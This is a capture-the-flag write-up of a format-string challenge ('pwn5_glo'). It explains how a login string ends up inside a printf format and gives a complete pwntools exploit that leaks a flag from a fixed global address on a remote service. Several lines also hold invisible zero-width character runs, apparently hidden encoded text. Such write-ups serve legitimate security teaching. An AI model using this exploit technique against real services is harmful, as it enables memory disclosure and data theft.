← Back to Writeups
CUSTOMMediumpwn

pwn5_glo

XESXOR9/2/20263 min read
#pwn#custom#medium#fixed_global_deref#format_string_arbitrary_read#positional_argument_addressing#snprintf_format_injection

pwn5_glo

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: fixed_global_deref, format_string_arbitrary_read, positional_argument_addressing, snprintf_format_injection

Summary

Task: NON-PIE x86-64 fmt service reads flag.txt into a fixed global (0x4040a0) then runs printf(out, password) where out is snprintf-built from the login. Solution: inject a positional format directive via the login (%38$s), plant the flag global address in the password (the printf vararg at slot 38), arbitrary-read dumps the flag.

pwn5_glo — pwn_spbctf

Description

Here is glo service

nc 109.233.56.90 11690 Author: Artur Khanov (@awengar), tier pwn5, category fmt

A NON-PIE x86-64 ELF (glo.elf) that loads flag.txt into a global buffer at startup, asks for a login and a password, and prints a formatted box. Goal: leak the flag global via a format-string arbitrary read.

Analysis

Protections: NON-PIE (base 0x400000), NX, Partial RELRO, no canary, not stripped.

main @ 0x4011e0:

  1. fopen("flag.txt","r") → fread(flag@0x4040a0, 1, 0x400, fp) → fclose. The flag lands in a global at the fixed address 0x4040a0 (NON-PIE ⇒ constant). No GOT/libc work is needed — the target to read is known.
  2. puts("Welcome to GLO"), puts("Enter login"), fgets(login=[rbp-0x30], 0x20), then strip(login).
  3. snprintf(out=[rbp-0x150], 0x100, format_global, login) where format_global @ 0x404068 → a box template @ 0x402008 containing a literal %32s and an escaped %%24s. After this snprintf:
    • the login is injected where %32s was,
    • the escaped %%24s collapses to a live %24s directive now sitting inside out.
  4. puts("Enter password"), fgets(password=[rbp-0x50], 0x20), strip(password).
  5. printf(out, password) → rdi = out (the snprintf'd box used as the format string), rsi = password (first vararg). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key teaching point — trace the ACTUAL printf

The obvious-looking sink is printf(out, password), which tempts you to treat the password as the format-string vector. It is not. The password is merely arg1 (the first vararg). The format string is out, and out is built by snprintf from the login. So any % directives you want printf to interpret must be placed in the login, not the password.

strip() @ 0x401196 only replaces the first '\n' (0x0a) with '\0'; it does not strip spaces or NUL bytes. This means we can safely plant a raw 8-byte address (with embedded NULs) in the password — it stays intact as the vararg. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stack offset

Planting a marker in the password (the vararg/arg area) and scanning %N$p shows the password content surfacing at positional slot 38.

Solution

Format-string arbitrary read of the known global:

  • login = %38$s — only 5 bytes, comfortably under the 0x20 fgets limit. After snprintf it becomes a live directive inside out.
  • password = p64(0x4040a0) — the flag global's address. It lands on the stack at the vararg slot that %38$s addresses.

When printf(out, password) runs, %38$s fetches positional arg 38 (= the password = 0x4040a0) and dereferences it as a char*, printing the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
from pwn import *
context.log_level = 'warn'
HOST, PORT = '109.233.56.90', 11690
FLAG_ADDR = 0x4040a0          # NON-PIE: flag global at a fixed address

io = remote(HOST, PORT)
io.recvuntil(b'Enter login')
# login becomes the printf format (via the box's escaped %%24s -> live %s).
# %38$s dereferences stack slot 38 = the password content.
io.sendline(b'%38$s')
io.recvuntil(b'Enter password')
# password (the printf vararg) = flag address; %38$s reads it as char* -> flag.
io.sendline(p64(FLAG_ADDR))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

data = io.recvall(timeout=10)
io.close()
print(data.decode('latin-1'))

import re
m = re.search(r'(?i)spbctf\{[^}]*\}', data.decode('latin-1'))
if m:
    print("\n[FLAG]", m.group(0))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍